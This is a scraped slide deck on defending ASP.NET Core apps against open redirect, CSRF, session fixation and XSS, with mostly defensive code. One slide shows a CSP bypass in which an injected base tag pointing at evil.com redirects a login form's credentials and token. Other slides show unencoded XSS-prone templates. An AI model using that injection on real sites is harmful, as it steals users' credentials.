SlideShare a Scribd company logo
1 of 60
Download to read offline
ptsecurity.com
Preventing attacks in
ASP.NET Core
Mikhail Shcherbakov
Independent Developer and
Consultant
Who am I
 Independent Developer and Consultant
 Co-organizer of .NET meetups http://dotnet.ru
 Public Speaker at DotNext, DotNetConf, ITGM, .NET meetups
 Former Product Manager at Cezurity, R&D Developer at Positive
Technologies and Team Lead at Acronis, Luxoft, Boeing
#2
What you can expect
 We’re going to talk about preventing Open Redirect, CSRF, XSS
attacks, using and architecture of cookies, Data Protection,
Session Management, CSP.
 We’re not going to discuss authentication and authorization.
#3
Microsoft .NET Core and ASP.NET Core
Bug Bounty Program
https://aka.ms/corebounty
#4
Prevention Open Redirect Attacks
Why do we talk about it?
https://github.com/OWASP/Top10/tree/master/2017/datacall
#7
WTF?
https://github.com/OWASP/Top10/raw/master/2017/OWASP%20To
p%2010%20-%202017%20RC1-English.pdf
#8
How to use the prevention mechanism
public async Task<IActionResult> Login(LoginViewModel model, string returnUrl)
{
// ...
return LocalRedirect(returnUrl);
}
private IActionResult RedirectToLocal(string returnUrl)
{
if (Url.IsLocalUrl(returnUrl))
return Redirect(returnUrl);
else
return RedirectToAction(nameof(HomeController.Index), "Home");
}
#10
https://technet.microsoft.com/library/security/4021279
#9
Data Protection
Overview
 No machine keys
 High level cryptography out-of-the-box
 Key stores out-of-the-box
 Supports key rotation automatically
 Provides isolation based on purposes automatically
#12
Protect / Unprotect
public class HomeController : Controller
{
private readonly IDataProtector protector;
public HomeController(IDataProtectionProvider provider)
{
protector = provider.CreateProtector("isolation-purpose");
}
public IActionResult Index(string input)
{
var protectedPayload = protector.Protect(input);
var unprotectedPayload = protector.Unprotect(protectedPayload);
return View();
}
}
#13
Protect / Unprotect
public IActionResult Index(string input)
{
var timeLimitedProtector = protector.ToTimeLimitedDataProtector();
var protectedData = timeLimitedProtector.Protect(input,
lifetime: TimeSpan.FromMinutes(30));
return View();
}
#14
Password Hashing
public void StorePassword(SecureString password)
{
var salt = new byte[128 / 8];
using (var rng = RandomNumberGenerator.Create())
{
rng.GetBytes(salt);
}
var hash = Convert.ToBase64String(KeyDerivation.Pbkdf2(
password: password,
salt: salt,
prf: KeyDerivationPrf.HMACSHA512,
iterationCount: 10000,
numBytesRequested: 256 / 8));
// store salt and hash to DB...
}
#15
Configuration
public void ConfigureServices(IServiceCollection services)
{
services.AddDataProtection()
.SetApplicationName("isolation-name")
.SetDefaultKeyLifetime(TimeSpan.FromDays(14))
.PersistKeysToFileSystem(new DirectoryInfo(@"servershare"))
.ProtectKeysWithDpapi()
.UseCryptographicAlgorithms(new AuthenticatedEncryptionSettings
{
EncryptionAlgorithm = EncryptionAlgorithm.AES_256_CBC,
ValidationAlgorithm = ValidationAlgorithm.HMACSHA256
});
}
Configuration
 HKLMSOFTWAREMicrosoftDotNetPackages
Microsoft.AspNetCore.DataProtection
 EncryptionType
 DefaultKeyLifetime
 KeyEscrowSinks
Under the hood
 The default payload protection algorithm used is AES-256-CBC
for confidentiality and HMACSHA256 for authenticity. A 512-bit
master key, rolled every 90 days
 Protected payload format
 32-bit magic header
 128-bit key id
 the part of specific to the encryptor
#16
Under the hood
https://www.youtube.com/watch?v=X1V6_OyQKLw
#17
Anti-Request Forgery
Why do we talk about it?
 Official documentation was published on 27 March
and it has inaccuracies
https://docs.microsoft.com/ru-ru/aspnet/core/security/anti-
request-forgery
 This is an excellent example how to work with cookies!
#19
Cross-Site Request Forgery (CSRF)
#20
Synchronizer Token Pattern
#21
Synchronizer Token Pattern
Double-Submit Cookie Pattern
#22
AutoValidateAntiforgeryToken
public class Startup
{
public void ConfigureServices(IServiceCollection services)
{
services.AddMvc(options =>
options.Filters.Add(new AutoValidateAntiforgeryTokenAttribute()));
}
}
#23
ValidateAntiForgeryToken
IgnoreAntiforgeryToken
[ValidateAntiForgeryToken]
public class CustomController : Controller
{
[HttpPost]
[IgnoreAntiforgeryToken]
public IActionResult DoSomething(SomeViewModel model)
{
// no antiforgery token required
}
}
#24
Generate AntiForgery tokens automatically
<form asp-controller="Account" asp-action="Login" asp-route-returnurl="@ViewData["ReturnUrl"]"
method="post" class="form-horizontal">
<h4>Use a local account to log in.</h4>
<div asp-validation-summary="All" class="text-danger"></div>
<div class="form-group">...</div>
</form>
<form method="post" class="form-horizontal" action="/Account/Login" novalidate="novalidate">
<h4>Use a local account to log in.</h4>
<div class="text-danger validation-summary-valid" data-valmsg-summary="true">
<ul><li style="display: none"></li></ul>
</div>
<div class="form-group">...</div>
<input name="__RequestVerificationToken" type="hidden"
value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049_Z1ELltvpTkCt978aCpj1
</form>
#25
Add AntiForgery token explicitly
<form action="/" method="post">
@Html.AntiForgeryToken()
</form>
<input name="__RequestVerificationToken" type="hidden"
value="CfDJ8NrAkSldwD9CpLRyOtm6FiJB1Jr_F3FQJQDvhlHoLNJJrLA6zaMUmhjMsisu2D2tFkAiYgyWQawJk9vNm36s
#26
AJAX, WebAPI, SPAs…
 Do you use authentication cookies?
 No cookies, no problems… except for stealing a token by XSS 
For example, you may use JSON Web Token (JWT)
 Yes, I do… Go next page
#27
AJAX, WebAPI, SPAs…
@inject Microsoft.AspNetCore.Antiforgery.IAntiforgery Xsrf
@functions{
public string GetAntiXsrfRequestToken()
{
return Xsrf.GetAndStoreTokens(Context).RequestToken;
}
}
<input type="button" id="antiforgery" value="Antiforgery" />
<script>
$("#antiforgery").click(function () {
$.ajax({
type: "post",
dataType: "html",
headers:
{
"RequestVerificationToken": '@GetAntiXsrfRequestToken()'
},
url: '@Url.Action("Antiforgery", "Home")',
});
});
#28
AngularJS
HttpContext.Response.Cookies.Append("XSRF-TOKEN",
antiforgery.GetAndStoreTokens(HttpContext).RequestToken,
new Microsoft.AspNetCore.Http.CookieOptions { HttpOnly = false });
services.AddAntiforgery(options => options.HeaderName = "X-XSRF-TOKEN");
#29
Under the Hood
<form method="post" action="/Home/MyAction">
<div>...</div>
<input name="__RequestVerificationToken" type="hidden"
value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049
</form>
https://github.com/aspnet/Antiforgery
#30
New Token
private static readonly RandomNumberGenerator randomNumberGenerator =
RandomNumberGenerator.Create();
private static byte[] GenerateNewToken(int bitLength)
{
var data = new byte[bitLength / 8];
randomNumberGenerator.GetBytes(data);
return data;
}
#31
Cookie Attributes: Domain and Path
public class ResponseCookies : IResponseCookies
{
public void Append(string key, string value, CookieOptions options)
{
var cookieHeaderValue = new SetCookieHeaderValue(
Uri.EscapeDataString(key), Uri.EscapeDataString(value));
cookieHeaderValue.Domain = options.Domain;
cookieHeaderValue.Path = options.Path;
#32
Cookie Attributes: HttpOnly
#33
Using HttpOnly is enough?
cryptoSystem = provider.CreateProtector(
"Microsoft.AspNetCore.Antiforgery.AntiforgeryToken.v1");
// ...
var bytes = cryptoSystem.Protect(stream.ToArray());
#34
Why isn't it enough again?
/* The serialized format of the anti-XSRF token is as follows:
* Version: 1 byte integer
* SecurityToken: 16 byte binary blob
* IsCookieToken: 1 byte Boolean
* [if IsCookieToken != true]
* +- IsClaimsBased: 1 byte Boolean
* | [if IsClaimsBased = true]
* | `- ClaimUid: 32 byte binary blob
* | [if IsClaimsBased = false]
* | `- Username: UTF-8 string with 7-bit integer length prefix
* `- AdditionalData: UTF-8 string with 7-bit integer length prefix
*/
#35
Encrypted DTO Pattern
#36
Session Management
Overview
private string GetMessageFromCacheOrDb()
{
// check session cache
byte[] value;
if (HttpContext.Session.TryGetValue("msg", out value))
{
return System.Text.Encoding.UTF8.GetString(value);
}
var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name);
HttpContext.Session.SetString("msg", valueMessage);
return valueMessage;
}
#38
Overview
#38
Why do we talk about it?
 The current implementation has a weakness that can be the
cause of Session Fixation attack.
 The Session Fixation took 2th prize in OWASP Top 10.
#40
Demo code
private string GetMessageFromCacheOrDb()
{
// check session cache
byte[] value;
if (HttpContext.Session.TryGetValue("msg", out value))
{
return System.Text.Encoding.UTF8.GetString(value);
}
var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name);
HttpContext.Session.SetString("msg", valueMessage);
return valueMessage;
}
#41
Session Fixation in ASP .NET Core
 Don’t store security sensitive data in a session!..
 Or die fix it in your project.
#43
Prevention XSS Attacks
Why do we talk about it?
 The XSS is the most popular attack to web applications
 https://github.com/OWASP/Top10/tree/master/2017/datacall
 https://twitter.com/kochetkov_v/status/857575220160462850
 This is a good entry point for other attacks with more impact
 Only some people know and correctly use built-in XSS
prevention mechanisms
#45
Same-origin policy (SOP)
 URI scheme (http)
 Hostname (my-domain.com)
 Port number (80)
#46
Potential XSS
<script src="@ViewData["UntrustedInput"]">
</script>
#47
Potential XSS
<script>
@ViewData["UntrustedInput"];
</script>
#48
Encoding points
 HTML
 JavaScript
 URL
 XML
 SVG
#49
Encoding points
 HtmlEncoder (@<member> in .cshtml)
 JavaScriptEncoder
 UrlEncoder
 Any sanitizer https://github.com/mganss/HtmlSanitizer
#50
Content Security Policy (CSP)
app.UseMvc();
app.Use(async (context, next) =>
{
context.Response.Headers.Add("Content-Security-Policy",
"default-src 'self'; report-uri /cspreport");
await next();
});
#51
CSP Report Request
public class CspReportRequest
{
[JsonProperty(PropertyName = "csp-report")] public CspReport CspReport { get; set; }
}
public class CspReport
{
[JsonProperty(PropertyName = "document-uri")] public string DocumentUri { get; set; }
[JsonProperty(PropertyName = "referrer")] public string Referrer { get; set; }
[JsonProperty(PropertyName = "violated-directive")] public string ViolatedDirective { get; set; }
[JsonProperty(PropertyName = "effective-directive")] public string EffectiveDirective {get; set;}
[JsonProperty(PropertyName = "original-policy")] public string OriginalPolicy { get; set; }
[JsonProperty(PropertyName = "blocked-uri")] public string BlockedUri { get; set; }
[JsonProperty(PropertyName = "status-code")] public int StatusCode { get; set; }
}
#52
CSP Report Endpoint
[HttpPost("~/cspreport")]
public IActionResult CspReport([FromBody] CspReportRequest request)
{
// log and analyze the report...
return Ok();
}
#53
Bypass
<base href='http://evil.com/'>
<form method="post" class="form-horizontal" action="/Account/Login">
<h4>Use a local account to log in.</h4>
<input type="email" id="Email" name="Email" value="" />
<input type="password" id="Password" name="Password" />
<button type="submit">Log in</button>
<input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0N
</form>
#54
x-xss-protection
app.UseMvc();
app.Use(async (context, next) =>
{
context.Response.Headers.Add("x-xss-protection", "1");
await next();
});
#55
Summary
 Michal Zalewski “Tangled Web. A Guide to Securing Modern
Web Applications”
 Stan Drapkin “Security Driven .NET”
 OWASP Testing Guide v4
#56
Questions?!
Mikhail Shcherbakov
@yu5k3
https://www.linkedin.com/in/mikhailshcherbakov
Independent Developer and Consultant
The presentation contains footage from Olive Kitteridge
ptsecurity.com
Спасибо!
Thank you!

More Related Content

What's hot

RIPS - static code analyzer for vulnerabilities in PHP
RIPS - static code analyzer for vulnerabilities in PHPRIPS - static code analyzer for vulnerabilities in PHP
RIPS - static code analyzer for vulnerabilities in PHP
Sorina Chirilă
 
The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...
The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...
The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...
CODE BLUE
 

What's hot (20)

ZeroNights - SmartTV
ZeroNights - SmartTV ZeroNights - SmartTV
ZeroNights - SmartTV
 
Waf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptWaf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScript
 
Understand study
Understand studyUnderstand study
Understand study
 
Find maximum bugs in limited time
Find maximum bugs in limited timeFind maximum bugs in limited time
Find maximum bugs in limited time
 
Triển khai Modsecurity vào hệ thống NMS - Quan Minh Tâm
Triển khai Modsecurity vào hệ thống NMS - Quan Minh TâmTriển khai Modsecurity vào hệ thống NMS - Quan Minh Tâm
Triển khai Modsecurity vào hệ thống NMS - Quan Minh Tâm
 
Php web app security (eng)
Php web app security (eng)Php web app security (eng)
Php web app security (eng)
 
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
 
Owasp web application security trends
Owasp web application security trendsOwasp web application security trends
Owasp web application security trends
 
0d1n
0d1n0d1n
0d1n
 
Внедрение SDLC в боевых условиях / Егор Карбутов (Digital Security)
Внедрение SDLC в боевых условиях / Егор Карбутов (Digital Security)Внедрение SDLC в боевых условиях / Егор Карбутов (Digital Security)
Внедрение SDLC в боевых условиях / Егор Карбутов (Digital Security)
 
Ln monitoring repositories
Ln monitoring repositoriesLn monitoring repositories
Ln monitoring repositories
 
Intrigue Core: Scaling Assessment Automation
Intrigue Core: Scaling Assessment AutomationIntrigue Core: Scaling Assessment Automation
Intrigue Core: Scaling Assessment Automation
 
RIPS - static code analyzer for vulnerabilities in PHP
RIPS - static code analyzer for vulnerabilities in PHPRIPS - static code analyzer for vulnerabilities in PHP
RIPS - static code analyzer for vulnerabilities in PHP
 
На страже ваших денег и данных
На страже ваших денег и данныхНа страже ваших денег и данных
На страже ваших денег и данных
 
Egress-Assess and Owning Data Exfiltration
Egress-Assess and Owning Data ExfiltrationEgress-Assess and Owning Data Exfiltration
Egress-Assess and Owning Data Exfiltration
 
The day I ruled the world (RootedCON 2020)
The day I ruled the world (RootedCON 2020)The day I ruled the world (RootedCON 2020)
The day I ruled the world (RootedCON 2020)
 
Lie to Me: Bypassing Modern Web Application Firewalls
Lie to Me: Bypassing Modern Web Application FirewallsLie to Me: Bypassing Modern Web Application Firewalls
Lie to Me: Bypassing Modern Web Application Firewalls
 
[2014 CodeEngn Conference 10] 정광운 - 안드로이드에서도 한번 후킹을 해볼까 (Hooking on Android)
[2014 CodeEngn Conference 10] 정광운 -  안드로이드에서도 한번 후킹을 해볼까 (Hooking on Android)[2014 CodeEngn Conference 10] 정광운 -  안드로이드에서도 한번 후킹을 해볼까 (Hooking on Android)
[2014 CodeEngn Conference 10] 정광운 - 안드로이드에서도 한번 후킹을 해볼까 (Hooking on Android)
 
The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...
The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...
The Art of Exploiting Unconventional Use-after-free Bugs in Android Kernel by...
 
Veil-Ordnance
Veil-OrdnanceVeil-Ordnance
Veil-Ordnance
 

Similar to Механизмы предотвращения атак в ASP.NET Core

.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
NETFest
 
02 banking trojans-thomassiebert
02 banking trojans-thomassiebert02 banking trojans-thomassiebert
02 banking trojans-thomassiebert
geeksec80
 
Hack any website
Hack any websiteHack any website
Hack any website
sunil kumar
 
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web InterfacesThey Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
michelemanzotti
 

Similar to Механизмы предотвращения атак в ASP.NET Core (20)

.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
 
02 banking trojans-thomassiebert
02 banking trojans-thomassiebert02 banking trojans-thomassiebert
02 banking trojans-thomassiebert
 
Hack any website
Hack any websiteHack any website
Hack any website
 
Technical Report Vawtrak v2
Technical Report Vawtrak v2Technical Report Vawtrak v2
Technical Report Vawtrak v2
 
Securing TodoMVC Using the Web Cryptography API
Securing TodoMVC Using the Web Cryptography APISecuring TodoMVC Using the Web Cryptography API
Securing TodoMVC Using the Web Cryptography API
 
Real_World_0days.pdf
Real_World_0days.pdfReal_World_0days.pdf
Real_World_0days.pdf
 
Common Browser Hijacking Methods
Common Browser Hijacking MethodsCommon Browser Hijacking Methods
Common Browser Hijacking Methods
 
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menaceDEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
 
Writing Secure Code – Threat Defense
Writing Secure Code – Threat DefenseWriting Secure Code – Threat Defense
Writing Secure Code – Threat Defense
 
FIWARE Wednesday Webinars - How to Secure IoT Devices
FIWARE Wednesday Webinars - How to Secure IoT DevicesFIWARE Wednesday Webinars - How to Secure IoT Devices
FIWARE Wednesday Webinars - How to Secure IoT Devices
 
Application and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionApplication and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental Edition
 
Blockchain Land Audit Report.pdf
Blockchain Land Audit Report.pdfBlockchain Land Audit Report.pdf
Blockchain Land Audit Report.pdf
 
Embedded Security and the IoT
Embedded Security and the IoTEmbedded Security and the IoT
Embedded Security and the IoT
 
Big security for big data
Big security for big dataBig security for big data
Big security for big data
 
A little bit about code injection in WebApplication Frameworks (CVE-2018-1466...
A little bit about code injection in WebApplication Frameworks (CVE-2018-1466...A little bit about code injection in WebApplication Frameworks (CVE-2018-1466...
A little bit about code injection in WebApplication Frameworks (CVE-2018-1466...
 
Meetup DotNetCode Owasp
Meetup DotNetCode Owasp Meetup DotNetCode Owasp
Meetup DotNetCode Owasp
 
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web InterfacesThey Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
 
Secure Software: Action, Comedy or Drama? (2017 edition)
Secure Software: Action, Comedy or Drama? (2017 edition)Secure Software: Action, Comedy or Drama? (2017 edition)
Secure Software: Action, Comedy or Drama? (2017 edition)
 
JS Fest 2019. Виктор Турский. 6 способов взломать твое JavaScript приложение
JS Fest 2019. Виктор Турский. 6 способов взломать твое JavaScript приложениеJS Fest 2019. Виктор Турский. 6 способов взломать твое JavaScript приложение
JS Fest 2019. Виктор Турский. 6 способов взломать твое JavaScript приложение
 
Gartner Security & Risk Management Summit 2018
Gartner Security & Risk Management Summit 2018Gartner Security & Risk Management Summit 2018
Gartner Security & Risk Management Summit 2018
 

More from Positive Development User Group

More from Positive Development User Group (12)

Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для Approof
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 лет
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПО
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке Си
 
PT BlackBox Scanner
PT BlackBox ScannerPT BlackBox Scanner
PT BlackBox Scanner
 
Трущобы Application Security
Трущобы Application SecurityТрущобы Application Security
Трущобы Application Security
 
Технологии анализа бинарного кода приложений: требования, проблемы, инструменты
Технологии анализа бинарного кода приложений: требования, проблемы, инструментыТехнологии анализа бинарного кода приложений: требования, проблемы, инструменты
Технологии анализа бинарного кода приложений: требования, проблемы, инструменты
 
Кто сказал «WAF»?
Кто сказал «WAF»?Кто сказал «WAF»?
Кто сказал «WAF»?
 
Безопасная разработка для руководителей
Безопасная разработка для руководителейБезопасная разработка для руководителей
Безопасная разработка для руководителей
 
Построение процесса безопасной разработки
Построение процесса безопасной разработкиПостроение процесса безопасной разработки
Построение процесса безопасной разработки
 
Подходы к сигнатурному статическому анализу
Подходы к сигнатурному статическому анализуПодходы к сигнатурному статическому анализу
Подходы к сигнатурному статическому анализу
 

Recently uploaded

Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
panagenda
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Safe Software
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
?#DUbAI#??##{{(☎️+971_581248768%)**%*]'#abortion pills for sale in dubai@
 

Recently uploaded (20)

Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
ICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesICT role in 21st century education and its challenges
ICT role in 21st century education and its challenges
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
 
DEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 AmsterdamDEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor Presentation
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
 
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
 

Механизмы предотвращения атак в ASP.NET Core

  • 1. ptsecurity.com Preventing attacks in ASP.NET Core Mikhail Shcherbakov Independent Developer and Consultant
  • 2. Who am I  Independent Developer and Consultant  Co-organizer of .NET meetups http://dotnet.ru  Public Speaker at DotNext, DotNetConf, ITGM, .NET meetups  Former Product Manager at Cezurity, R&D Developer at Positive Technologies and Team Lead at Acronis, Luxoft, Boeing #2
  • 3. What you can expect  We’re going to talk about preventing Open Redirect, CSRF, XSS attacks, using and architecture of cookies, Data Protection, Session Management, CSP.  We’re not going to discuss authentication and authorization. #3
  • 4. Microsoft .NET Core and ASP.NET Core Bug Bounty Program https://aka.ms/corebounty #4
  • 6.
  • 7. Why do we talk about it? https://github.com/OWASP/Top10/tree/master/2017/datacall #7
  • 9. How to use the prevention mechanism public async Task<IActionResult> Login(LoginViewModel model, string returnUrl) { // ... return LocalRedirect(returnUrl); } private IActionResult RedirectToLocal(string returnUrl) { if (Url.IsLocalUrl(returnUrl)) return Redirect(returnUrl); else return RedirectToAction(nameof(HomeController.Index), "Home"); } #10
  • 12. Overview  No machine keys  High level cryptography out-of-the-box  Key stores out-of-the-box  Supports key rotation automatically  Provides isolation based on purposes automatically #12
  • 13. Protect / Unprotect public class HomeController : Controller { private readonly IDataProtector protector; public HomeController(IDataProtectionProvider provider) { protector = provider.CreateProtector("isolation-purpose"); } public IActionResult Index(string input) { var protectedPayload = protector.Protect(input); var unprotectedPayload = protector.Unprotect(protectedPayload); return View(); } } #13
  • 14. Protect / Unprotect public IActionResult Index(string input) { var timeLimitedProtector = protector.ToTimeLimitedDataProtector(); var protectedData = timeLimitedProtector.Protect(input, lifetime: TimeSpan.FromMinutes(30)); return View(); } #14
  • 15. Password Hashing public void StorePassword(SecureString password) { var salt = new byte[128 / 8]; using (var rng = RandomNumberGenerator.Create()) { rng.GetBytes(salt); } var hash = Convert.ToBase64String(KeyDerivation.Pbkdf2( password: password, salt: salt, prf: KeyDerivationPrf.HMACSHA512, iterationCount: 10000, numBytesRequested: 256 / 8)); // store salt and hash to DB... } #15
  • 16. Configuration public void ConfigureServices(IServiceCollection services) { services.AddDataProtection() .SetApplicationName("isolation-name") .SetDefaultKeyLifetime(TimeSpan.FromDays(14)) .PersistKeysToFileSystem(new DirectoryInfo(@"servershare")) .ProtectKeysWithDpapi() .UseCryptographicAlgorithms(new AuthenticatedEncryptionSettings { EncryptionAlgorithm = EncryptionAlgorithm.AES_256_CBC, ValidationAlgorithm = ValidationAlgorithm.HMACSHA256 }); }
  • 18. Under the hood  The default payload protection algorithm used is AES-256-CBC for confidentiality and HMACSHA256 for authenticity. A 512-bit master key, rolled every 90 days  Protected payload format  32-bit magic header  128-bit key id  the part of specific to the encryptor #16
  • 21. Why do we talk about it?  Official documentation was published on 27 March and it has inaccuracies https://docs.microsoft.com/ru-ru/aspnet/core/security/anti- request-forgery  This is an excellent example how to work with cookies! #19
